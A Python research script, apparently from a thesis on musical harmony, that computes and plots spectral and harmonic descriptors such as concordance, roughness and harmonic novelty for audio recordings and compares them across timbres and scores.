######## # ax1 = plt.subplot(2,1,1) # # librosa.display.specshow(self.ChromDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.times, cmap=cmap) # # plt.title('CQT spectrogram') # # # plt.subplot(2, 1, 1, sharex=ax1) # librosa.display.specshow(librosa.amplitude_to_db(self.chromSync, ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph, cmap=cmap) # plt.title('Spectre syncronisé') # # plt.subplot(2, 1, 2, sharex=ax1) # librosa.display.specshow(librosa.amplitude_to_db(self.chromSyncSimpl, ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap) # plt.title('Simplifié') # plt.tight_layout() ###### # librosa.display.specshow(librosa.amplitude_to_db(self.chromSyncSimpl, ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap) ###### fig, ax = plt.subplots(figsize=(13, 7.5)) img = librosa.display.specshow(librosa.amplitude_to_db(self.chromSyncSimpl, ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=self.onset_times_graph, cmap=cmap) # plt.title('Synchronised spectrum, β = {}, delay τ = {} s'.format(params.margin, T_att)) plt.title('Partial detection on synchronised spectrum, β = {}, with delay, δ = {}'.format(params.margin, params.δ)) for t in self.onset_times_graph: ax.axvline(t, color = 'k',alpha=0.5, ls='--') plt.axis('tight') plt.tight_layout() plt.show() #Plot les spectrogrammes if params.plot_chromDescr: #Construction de la liste des descripteurs avec Chrom spaceChrom = [] for descr in space: if descr in ['concordance','concordance3','concordanceTot','roughness','crossConcordance','crossConcordanceTot','harmonicChange','diffConcordance']: spaceChrom.append(descr) dimChrom = len(space) times_plotChromDyn = [self.onset_times_graph[0]] + [t-0.25 for t in self.onset_times_graph[2:self.n_frames-1]] + [t+0.25 for t in self.onset_times_graph[2:self.n_frames-1]] + [self.onset_times_graph[self.n_frames]] times_plotChromDyn.sort() plt.figure(5,figsize=(13, 7.5)) # Partition if params.plot_score & (len(self.score)!=0): #plt.subplot(dim+1+s,1,s) img=mpimg.imread(self.score) score = plt.subplot(dimChrom+1,1,1) plt.axis('off') score.imshow(img) plt.title(title +' '+instrument) else: ax1 = plt.subplot(dimChrom+1,1,1) librosa.display.specshow(self.ChromDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.times, cmap=cmap) plt.title(title +' '+instrument) for k, descr in enumerate(spaceChrom): if (k==0) & params.plot_score & (len(self.score)!=0): ax1 = plt.subplot(dimChrom+1,1,2) else: plt.subplot(dimChrom+1, 1, k+2, sharex=ax1) # Descripteurs statiques if len(getattr(self, descr)) == self.n_frames: if descr in ['roughness']: librosa.display.specshow(getattr(self, 'chrom_'+descr), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap) else: librosa.display.specshow(librosa.amplitude_to_db(getattr(self, 'chrom_'+descr), ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap) # Descripteurs dynamiques else: Max = np.amax(getattr(self, 'chrom_'+descr)[:,1:self.n_frames-2]) librosa.display.specshow(librosa.amplitude_to_db(np.insert(getattr(self, 'chrom_'+descr)[:,1:self.n_frames-2]/Max, range(self.n_frames-2),1, axis=1), ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=np.asarray(times_plotChromDyn), cmap=cmap) plt.title('Spectre de ' + descr) plt.tight_layout() #Plot les descripteurs harmoniques if params.plot_descr: dim = len(space) fig = plt.figure(6,figsize=(13, 7.5)) # Partition if params.plot_score & (len(self.score)!=0): #plt.subplot(dim+1+s,1,s) img=mpimg.imread(self.score) score = plt.subplot(dim+1,1,1) plt.axis('off') score.imshow(img) plt.title(subTitle) else: ax1 = plt.subplot(dim+1,1,1) librosa.display.specshow(self.ChromDB, bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.times,cmap=cmap) # plt.title(title +' '+ instrument) for k, descr in enumerate(space): if (k==0) & params.plot_score & (len(self.score)!=0): ax1 = plt.subplot(dim+1,1,2) ax1.get_xaxis().set_visible(False) else: ax = plt.subplot(dim+1, 1, k+2, sharex=ax1) ax.get_xaxis().set_visible(False) # Je remplace les valeurs nan par 0 for i,val in enumerate(getattr(self,descr)): if np.isnan(val): getattr(self,descr)[i] = 0 if len(getattr(self, descr)) == self.n_frames: plt.vlines(self.onset_times_graph[1:self.n_frames], min(getattr(self, descr)), max(getattr(self, descr)[1:(self.n_frames-1)]), color='k', alpha=0.9, linestyle='--') else: plt.vlines(self.onset_times_graph[1:self.n_frames-1], min(getattr(self, descr)), max(getattr(self, descr)[1:(self.n_frames-1)]), color='k', alpha=0.9, linestyle='--') plt.xlim(self.onset_times_graph[0],self.onset_times_graph[-1]) if not all(x>=0 for x in getattr(self, descr)[1:(self.n_frames-1)]): plt.hlines(0,self.onset_times_graph[0], self.onset_times_graph[self.n_frames], alpha=0.5, linestyle = ':') # Legend context = '' norm = '' if params.plot_norm and (descr in params.dic_norm ): norm = '\n' + params.dic_norm[descr] if descr in ['harmonicNovelty', 'harmonicityContext','roughnessContext','diffConcordanceContext','diffRoughnessContext'] : if params.memory_size>=2: context = '\n' + 'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context = '\n' + 'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) # Descripteurs statiques if len(getattr(self, descr)) == self.n_frames: plt.hlines(getattr(self, descr)[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames],color=['b','r','g','c','m','y','b','r','g'][k] , label=descr[0].upper() + descr[1:] + norm + context) # Descripteurs dynamiques elif len(getattr(self, descr)) == (self.n_frames-1): if descr == 'diffRoughnessContext': plt.plot(self.onset_times_graph[2:(self.n_frames-1)], getattr(self, descr)[1:(self.n_frames-2)],['b','r','g','c','m','y','b','r','g'][k]+'o', label='DiffRoughness' + norm) else: plt.plot(self.onset_times_graph[2:(self.n_frames-1)], getattr(self, descr)[1:(self.n_frames-2)],['b','r','g','c','m','y','b','r','g'][k]+'o', label=(descr[0].upper() + descr[1:]) + norm) plt.hlines(getattr(self, descr)[1:(self.n_frames-2)], [t-0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], [t+0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], color=['b','r','g','c','m','y','b','r','g'][k], alpha=0.9, linestyle=':' ) # plt.plot(self.onset_times_graph[2:(self.n_frames-1)], [0.35, 0.21, 0.34, 0.23],['b','r','g','c','m','y','b','r','g'][1]+'o', label = 'Octave up')#label=(descr[0].upper() + descr[1:]) + norm + context) # plt.hlines([0.35, 0.21, 0.34, 0.23], [t-0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], [t+0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], color=['b','r','g','c','m','y','b','r','g'][1], alpha=0.9, linestyle=':' ) # plt.hlines([0.61,0.47,0.59, 0.49], [t-0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], [t+0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], color=['b','r','g','c','m','y','b','r','g'][2], alpha=0.9, linestyle=':' ) # plt.plot(self.onset_times_graph[2:(self.n_frames-1)], [0.61,0.47,0.59, 0.49],['b','r','g','c','m','y','b','r','g'][2]+'o',label = 'Fourth down')#label=(descr[0].upper() + descr[1:]) + norm + context) # plt.title('DiffRoughness, normalised') plt.legend(frameon=True, framealpha=0.75) plt.tight_layout() #Plot descriptogramme + valeur numérique if params.plot_OneDescr: descr = space[0] plt.figure(7,figsize=(10, 7.5)) ############################ # Partition if params.plot_score & (len(self.score)!=0): img=mpimg.imread(self.score) score = plt.subplot(3,1,1) plt.axis('off') score.imshow(img) p = 1 else: p=0 ax1 = plt.subplot(p+2,1,p+1) # Descripteurs statiques if len(getattr(self, descr)) == self.n_frames: if descr in ['concordanceTot', 'concordance3','roughness']: librosa.display.specshow(getattr(self, 'chrom_'+descr), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap) elif descr == 'harmonicity': librosa.display.specshow(np.power(getattr(self, 'chrom_'+descr),4)[0:4*BINS_PER_OCTAVE], bins_per_octave=BINS_PER_OCTAVE, fmin=f_corr_min, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap) else: librosa.display.specshow(librosa.amplitude_to_db(getattr(self, 'chrom_'+descr)[0:int(5*self.n_bins/6),:], ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time', x_coords=self.onset_times_graph, cmap=cmap,sr = self.sr) # Descripteurs dynamiques else: times_plotChromDyn = [self.onset_times_graph[0]] + [t-0.75 for t in self.onset_times_graph[2:self.n_frames-1]] + [t+0.75 for t in self.onset_times_graph[2:self.n_frames-1]] + [self.onset_times_graph[self.n_frames]] times_plotChromDyn.sort() Max = np.amax(getattr(self, 'chrom_'+descr)[:,1:self.n_frames-2]) if descr == 'diffRoughnessContext': librosa.display.specshow(np.insert(getattr(self, 'chrom_'+descr)[:,1:self.n_frames-2]/Max, range(self.n_frames-2),1, axis=1), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=np.asarray(times_plotChromDyn),cmap=cmap) else: librosa.display.specshow(librosa.amplitude_to_db(np.insert(getattr(self, 'chrom_'+descr)[:,1:self.n_frames-2]/Max, range(self.n_frames-2),1, axis=1), ref=np.max), bins_per_octave=BINS_PER_OCTAVE, fmin=self.fmin, y_axis='cqt_note', x_axis='time',x_coords=np.asarray(times_plotChromDyn),cmap=cmap) for t in self.onset_times_graph: ax1.axvline(t, color = 'k',alpha=0.5, ls='--') if descr == 'harmonicity': plt.title('Virtual pitch spectrum') else: # plt.title('DiffRoughness Spectrum') plt.title(descr[0].upper()+descr[1:]+' spectrum') plt.xlim(self.onset_times_graph[0],self.onset_times_graph[-1]) ax1.get_xaxis().set_visible(False) # Plot Descr ax2 = plt.subplot(p+2, 1, p+2) if len(getattr(self, descr)) == self.n_frames: plt.vlines(self.onset_times_graph[1:self.n_frames], min(getattr(self, descr)), max(getattr(self, descr)), color='k', alpha=0.9, linestyle='--') else: plt.vlines(self.onset_times_graph[1:self.n_frames-1], min(getattr(self, descr)),max(getattr(self, descr)), color='k', alpha=0.9, linestyle='--') if not all(x>=0 for x in getattr(self, descr)): plt.hlines(0,self.onset_times_graph[0], self.onset_times_graph[self.n_frames], alpha=0.5, linestyle = ':') # Legend context = '' norm = '' par = '' if params.plot_norm and (descr in params.dic_norm ): norm = '\n' + params.dic_norm[descr] if descr in ['harmonicNovelty', 'harmonicityContext','roughnessContext','diffConcordanceContext','diffRoughnessContext'] : if params.memory_size>=2: context = '\n' + 'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context = '\n' + 'Memory: {} chord'.format(params.memory_size) if descr in ['harmonicity']: par = '\n{} partials'.format(params.κ) # Descripteurs statiques if len(getattr(self, descr)) == self.n_frames: plt.hlines(getattr(self, descr)[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][1], label= descr[0].upper() + descr[1:] + norm + context + par) # Descripteurs dynamiques elif len(getattr(self, descr)) == (self.n_frames-1): plt.plot(self.onset_times_graph[2:(self.n_frames-1)], getattr(self, descr)[1:(self.n_frames-2)],['b','r','g','c','m','y','b','r','g'][0]+'o') plt.hlines(getattr(self, descr)[1:(self.n_frames-2)], [t-0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], [t+0.5 for t in self.onset_times_graph[2:(self.n_frames-1)]], color=['b','r','g','c','m','y','b','r','g'][0], alpha=0.9, linestyle=':',label = descr[0].upper() + descr[1:] + norm + context) plt.xlim(self.onset_times_graph[0],self.onset_times_graph[-1]) # plt.ylim(bottom=0) ax2.yaxis.set_major_formatter(FormatStrFormatter('%.1e')) ax2.get_xaxis().set_visible(False) plt.legend(frameon=True, framealpha=0.75) plt.tight_layout() #Plot représentations abstraites if params.plot_abstr: if len(space)==2 : color = params.color_abstr l1 = getattr(self, space[0])[1:len(getattr(self, space[0]))-1] l2 = getattr(self, space[1])[1:len(getattr(self, space[1]))-1] #Si un descripteur statique et un descripteur dynamique if len(l1)<len(l2) : l2.pop(0) elif len(l1)>len(l2) : l1.pop(0) #Tronquage if isinstance(end,int): l1= l1[0:end] l2= l2[0:end] plt.figure(8) ax = plt.subplot() if params.link_abstr: plt.plot(l1, l2, color+'--') plt.plot(l1, l2, color+'o') for i in range(len(l1)): ax.annotate(' {}'.format(i+1), (l1[i], l2[i]), color=params.color_abstr_numbers) plt.xlabel(space[0][0].upper() + space[0][1:]) plt.ylabel(space[1][0].upper() + space[1][1:]) plt.title(title +' '+instrument + ' (' + space[0][0].upper() + space[0][1:] + ', ' + space[1][0].upper() + space[1][1:] + ')') else: color = params.color_abstr l1 = getattr(self, space[0])[1:len(getattr(self, space[0]))-1] l2 = getattr(self, space[1])[1:len(getattr(self, space[0]))-1] l3 = getattr(self, space[2])[1:len(getattr(self, space[0]))-1] fig = plt.figure(9) ax = fig.add_subplot(111, projection='3d') if params.link_abstr: plt.plot(l1, l2, l3, color+'--') for i in range(len(l1)): ax.scatter(l1[i], l2[i], l3[i], c=color, marker='o') ax.text(l1[i], l2[i], l3[i], i+1, color=params.color_abstr_numbers) ax.set_xlabel(space[0][0].upper() + space[0][1:]) ax.set_ylabel(space[1][0].upper() + space[1][1:]) ax.set_zlabel(space[2][0].upper() + space[2][1:]) ax.set_title(title +' '+instrument + ' (' + space[0][0].upper() + space[0][1:] + ', ' + space[1][0].upper() + space[1][1:] + ', ' + space[2][0].upper() + space[2][1:] + ')') if params.plot_compParam: # Représentation des nouveautés, comparaison des échelles de mémoire with open ('nouv0', 'rb') as fp: nouv0 = pickle.load(fp) with open ('nouv1', 'rb') as fp: nouv1 = pickle.load(fp) with open ('nouv2', 'rb') as fp: nouv2 = pickle.load(fp) with open ('nouv3', 'rb') as fp: nouv3 = pickle.load(fp) with open ('nouv4', 'rb') as fp: nouv4 = pickle.load(fp) with open ('nouvFull', 'rb') as fp: nouvFull = pickle.load(fp) plt.figure(9,figsize=(13, 7)) img=mpimg.imread(self.score) score = plt.subplot(2,1,1) plt.axis('off') score.imshow(img) plt.title(title +' '+instrument) plt.subplot(2, 1, 2) plt.vlines(self.onset_times_graph[1:self.n_frames], 0, 1, color='k', alpha=0.9, linestyle='--') plt.hlines(nouv0[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][2], label='Memory: 0 chord') # plt.hlines(nouv1[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][3], label='Memory: 1 chord') # plt.hlines(nouv2[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][4], label='Memory: 2 chords') plt.hlines(nouv3[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][5], label='Memory: 3 chords') # plt.hlines(nouv4[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][6], label='Memory: 4 chords') plt.hlines(nouvFull[1:(self.n_frames-1)], self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][1], label='Memory: All chords') plt.legend(frameon=True, framealpha=0.75) plt.tight_layout() plt.show() def Points(self, space = ['concordance', 'concordanceTot']): L = [] for descr in space: if isinstance(getattr(self,descr), list): L.append(getattr(self,descr)[1:-1]) else : L.append(getattr(self,descr).tolist()[1:-1]) # Si à la fois descripteurs statiques et dynamiques dans space, alors on réduit la longueur des listes de descripteurs statiques en considérant l'évolution du descripteur statique T = min(map(len,L)) for i in range(len(space)): if len(L[i])>T: for t in range(len(L[i])-1): L[i][t] = L[i][t+1] - L[i][t] L[i].pop(-1) Points = np.asarray(L) return Points def Sort(self, space = ['concordance']): descr = space[0] L = getattr(self,descr)[1:self.n_frames-1] indices, L_sorted = zip(*sorted(enumerate(L), key=itemgetter(1), reverse=params.sorted_reverse)) if params.plot_sorted: if params.sorted_reverse: croiss = 'décroissante' else: croiss = 'croissante' sorted_score = 'Exemples/'+ title +'-'+descr+'-score.png' plt.figure(1,figsize=(13, 7)) img=mpimg.imread(sorted_score) score = plt.subplot(2,1,1) plt.axis('off') score.imshow(img) plt.title(descr[0].upper() + descr[1:] +' '+croiss) # Plot Descr plt.subplot(2, 1, 2) plt.vlines(self.onset_times_graph[1:self.n_frames], min(getattr(self, descr)), max(getattr(self, descr)), color='k', alpha=0.9, linestyle='--') # Descripteurs statiques if len(getattr(self, descr)) == self.n_frames: plt.hlines(L_sorted, self.onset_times_graph[1:(self.n_frames-1)], self.onset_times_graph[2:self.n_frames], color=['b','r','g','c','m','y','b','r','g'][1], label=descr[0].upper() + descr[1:]) plt.legend(frameon=True, framealpha=0.75) plt.show() else : print(indices) # PARAMETRES type_Temporal = params.type_Temporal type_Normalisation = params.type_Normalisation def Construction_Points(liste_timbres_or_scores, title, space, Notemin, Notemax, dic, filename = 'Points.npy', score = [], instrument = 'Organ', name_OpenFrames = '', duration = None, sr = 44100, share_onsets = True, liste_no_verticality = []): # Chargement de onset_frames def OpenFrames(title): #1 - Avec Sonic Visualiser if os.path.exists('Onset_given_'+title+'.txt'): onsets = [] with open('Onset_given_'+title+'.txt','r') as f: for line in f: l = line.split() onsets.append(float(l[0])) onset_times = np.asarray(onsets) onset_frames = librosa.time_to_frames(onset_times, sr=sr, hop_length = STEP) #2 - À partir de la partition en musicxml elif os.path.exists('Onset_given_'+title+'_score'): with open('Onset_given_'+title+'_score', 'rb') as f: onsets = pickle.load(f) onset_times = np.asarray(onsets) onset_frames = librosa.time_to_frames(onset_times, sr=sr, hop_length = STEP) #3 - Avec ma méthode de calcul automatique elif os.path.exists('Onset_given_'+title): with open('Onset_given_'+title, 'rb') as f: onset_frames = pickle.load(f) #4 - Pas d'onsets préchargés else: onset_frames = [] # for i,time in enumerate(onset_frames) return onset_frames if share_onsets: if len(name_OpenFrames)==0: onset_frames = OpenFrames(title) else: onset_frames = OpenFrames(name_OpenFrames) global distribution if title in params.dic_distribution: distribution = params.dic_distribution[title] else : distribution = params.distribution Points = [] if params.one_track: for instrument in liste_timbres_or_scores: # CHARGEMENT DES SONS ET DE LA PARTITION y, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'.wav', duration = duration) if distribution == 'voix': y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-Basse.wav', duration = duration) y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-Alto.wav', duration = duration) y3, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-Soprano.wav', duration = duration) y4, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-Tenor.wav', duration = duration) elif distribution == 'themeAcc': y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-theme.wav', duration = duration) y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-acc.wav', duration = duration) # CRÉATION DE L'INSTANCE DE CLASSE if distribution == 'record': S = SignalSepare(y, sr, [], Notemin, Notemax,onset_frames, score = score,instrument = instrument) elif distribution == 'voix': S = SignalSepare(y, sr, [y1,y2,y3,y4], Notemin, Notemax,onset_frames, score = score,instrument = instrument) elif distribution == 'themeAcc': S = SignalSepare(y, sr, [y1,y2], Notemin, Notemax,onset_frames, score = score,instrument = instrument) S.DetectionOnsets() S.Clustering() S.Context() if params.simpl: S.SimplifySpectrum() S.ComputeDescripteurs(space = space) # CRÉATION DE POINTS Points.append(S.Points(space)) print(instrument + ': OK') if params.compare_instruments: for instrument in liste_timbres_or_scores: # CHARGEMENT DES SONS ET DE LA PARTITION y, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'_T{}'.format(dic[instrument])+'.wav', duration = duration) y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'_T{}'.format(dic[instrument])+'-Basse.wav', duration = duration) y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'_T{}'.format(dic[instrument])+'-Alto.wav', duration = duration) y3, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'_T{}'.format(dic[instrument])+'-Soprano.wav', duration = duration) y4, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'_T{}'.format(dic[instrument])+'-Tenor.wav', duration = duration) # CRÉATION DE L'INSTANCE DE CLASSE if distribution == 'record': S = SignalSepare(y, sr, [], Notemin, Notemax,onset_frames, score = score,instrument = instrument) elif distribution == 'voix': S = SignalSepare(y, sr, [y1,y2,y3,y4], Notemin, Notemax,onset_frames, score = score,instrument = instrument) elif distribution == 'themeAcc': S = SignalSepare(y, sr, [y1,y2], Notemin, Notemax,onset_frames, score = score,instrument = instrument) S.DetectionOnsets() S.Clustering() S.Context() if params.simpl: S.SimplifySpectrum() S.ComputeDescripteurs(space = space) # CRÉATION DE POINTS Points.append(S.Points(space)) print(instrument + ': OK') if params.compare_scores: for score in liste_timbres_or_scores: # CHARGEMENT DES SONS ET DE LA PARTITION y, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+ title +'{}.wav'.format(dic[score]), duration = duration) y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'{}-Basse.wav'.format(dic[score]), duration = duration) y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'{}-Alto.wav'.format(dic[score]), duration = duration) y3, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'{}-Soprano.wav'.format(dic[score]), duration = duration) y4, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'{}-Tenor.wav'.format(dic[score]), duration = duration) # CRÉATION DE L'INSTANCE DE CLASSE if distribution == 'record': S = SignalSepare(y, sr, [], Notemin, Notemax,onset_frames, delOnsets, addOnsets, score = score,instrument = instrument) elif distribution == 'voix': S = SignalSepare(y, sr, [y1,y2,y3,y4], Notemin, Notemax,onset_frames, delOnsets, addOnsets, score = score,instrument = instrument) elif distribution == 'themeAcc': S = SignalSepare(y, sr, [y1,y2], Notemin, Notemax,onset_frames, delOnsets, addOnsets, score = score,instrument = instrument) S.DetectionOnsets() S.Clustering() S.Context() if params.simpl: S.SimplifySpectrum() S.ComputeDescripteurs(space = space) # CRÉATION DE POINTS Points.append(S.Points(space)) print(score + ': OK') if params.compare: for subtitle in liste_timbres_or_scores: # CHARGEMENT DES SONS ET DE LA PARTITION y, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/' + subtitle +'.wav', duration = params.dic_duration[subtitle], sr = None) # y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/' + subtitle +'-Soprano.wav', duration = params.dic_duration[title], sr = None) # y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/' + subtitle +'-Alto.wav', duration = params.dic_duration[title], sr = None) # y3, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/' + subtitle +'-Tenor.wav', duration = params.dic_duration[title], sr = None) # y4, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/' + subtitle +'-Bass.wav', duration = params.dic_duration[title], sr = None) # y5, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/' + subtitle +'-Baryton.wav', duration = duration, sr = None) if not share_onsets: onset_frames = OpenFrames(subtitle) # CRÉATION DE L'INSTANCE DE CLASSE if distribution == 'record': S = SignalSepare(y, sr, [], Notemin, Notemax,onset_frames, score = score,instrument = instrument) elif distribution == 'voix': S = SignalSepare(y, sr, [y1,y2,y3,y4,y5], Notemin, Notemax,onset_frames, score = score,instrument = instrument) elif distribution == 'themeAcc': S = SignalSepare(y, sr, [y1,y2], Notemin, Notemax,onset_frames, score = score,instrument = instrument) S.DetectionOnsets() S.Clustering() S.Context() if params.simpl: S.SimplifySpectrum() S.ComputeDescripteurs(space = space) # CRÉATION DE POINTS Points.append(S.Points(space)) print(subtitle + ': OK') if len(liste_no_verticality)!=0: for i in liste_no_verticality: Points[0] = np.insert(Points[0],i, None,1) Points = np.asarray(Points) print('Taille : {}'.format(Points.shape)) np.save(filename, Points) # save np.save('Onset_times_'+filename,S.onset_times) # Fonction qui normalise la matrice Points def Normalise(Points, liste_timbres_or_scores, dic, type_Normalisation = type_Normalisation): ind_instrument = [dic[instrument]-1 for instrument in liste_timbres_or_scores] if type_Normalisation == 'by timbre': max = np.nanmax(Points[ind_instrument], axis = (0,2)) for descr in range(Points.shape[1]): Points[:,descr,:] /= max[descr] elif type_Normalisation == 'by curve': max = np.nanmax(Points, axis = 2) for timbre in range(Points.shape[0]): for descr in range(Points.shape[1]): Points[timbre,descr,:] /= max[timbre,descr] return Points # Fonction qui calcule la matrice des écart-types sur tous les timbres def Dispersion(Points,type_Temporal = type_Temporal): if type_Temporal == 'static': Disp = np.std(Points,axis = 0) elif type_Temporal == 'differential': Points_diff = np.zeros((Points.shape[0],Points.shape[1],Points.shape[2]-1)) for i in range(Points.shape[2]-1): Points_diff[:,:,i] = Points[:,:,i+1]-Points[:,:,i] Disp = np.std(Points_diff,axis = 0) Disp_by_descr = np.mean(Disp, axis = 1) Disp_by_time = np.linalg.norm(Disp, axis = 0) return Disp, Disp_by_descr,Disp_by_time def Inerties(Points, type_Temporal = type_Temporal): if type_Temporal == 'static': Inertie_tot = np.std(Points, axis = (0,2)) Mean = np.mean(Points,axis = 0) elif type_Temporal == 'differential': Points_diff = np.zeros((Points.shape[0],Points.shape[1],Points.shape[2]-1)) for i in range(Points.shape[2]-1): Points_diff[:,:,i] = Points[:,:,i+1]-Points[:,:,i] Inertie_tot = np.std(Points_diff, axis = (0,2)) Mean = np.mean(Points_diff, axis = 0) Inertie_inter = np.std(Mean, axis = 1) return Inertie_tot, Inertie_inter # Fonction qui trie les descripteurs en fonction du minimum de dispersion def MinimizeDispersion(Disp_by_descr, space): disp_sorted = np.sort(Disp_by_descr) descr_sorted = [space[i] for i in np.argsort(Disp_by_descr)] return descr_sorted, disp_sorted # Fonction qui trie les descripteurs en fonction du minimum de dispersion def MaximizeSeparation(Inertie_tot, Inertie_inter, space): d = len(space) sep_matrix = np.zeros((d,d)) for i in range(1,d): for j in range(i): sep_matrix[i,j] = np.inner(Inertie_inter[[i,j]], Inertie_inter[[i,j]]) / np.inner(Inertie_tot[[i,j]], Inertie_tot[[i,j]]) ind = np.unravel_index(np.argmax(sep_matrix, axis=None), sep_matrix.shape) return [space[ind[0]], space[ind[1]]] def Clustered(Points, spacePlot, space, type_Temporal = type_Temporal): ind_descr = [space.index(descr) for descr in spacePlot] if type_Temporal == 'static': Points_sub = Points[:,ind_descr] if type_Temporal == 'differential': Points_diff = np.zeros((Points.shape[0],Points.shape[1],Points.shape[2]-1)) for i in range(Points.shape[2]-1): Points_diff[:,:,i] = Points[:,:,i+1]-Points[:,:,i] Points_sub = Points_diff[:,ind_descr] disp_traj = np.sum(np.linalg.norm(np.std(Points_sub,axis = 0), axis = 0)) inertie_inter = np.std(np.mean(Points_sub,axis = 0), axis = 1) inertie_tot = np.std(Points_sub, axis = (0,2)) sep = np.inner(inertie_inter, inertie_inter) / np.inner(inertie_tot, inertie_tot) print('Dispersion : {} \nSeparation : {}'.format(disp_traj, sep)) # Visualisation def Visualize(Points, descr, space, liste_timbres_or_scores, dic, type_Temporal = type_Temporal, type = 'abstract', simultaneity = False, score = None, onset_times = None, onset_times_graph = None, liste_Points = [], erase = None, liste_annot = [], leg_hpss = ''): # Liste des descripteurs de context liste_descrContext = ['energyContext','harmonicChange','harmonicNovelty', 'harmonicityContext','roughnessContext','diffConcordanceContext','diffRoughnessContext'] def Erase(l,erase): erase.sort(reverse = True) for i in erase: del l[i] return l if type == 'abstract': dim1 = space.index(descr[0]) dim2 = space.index(descr[1]) # 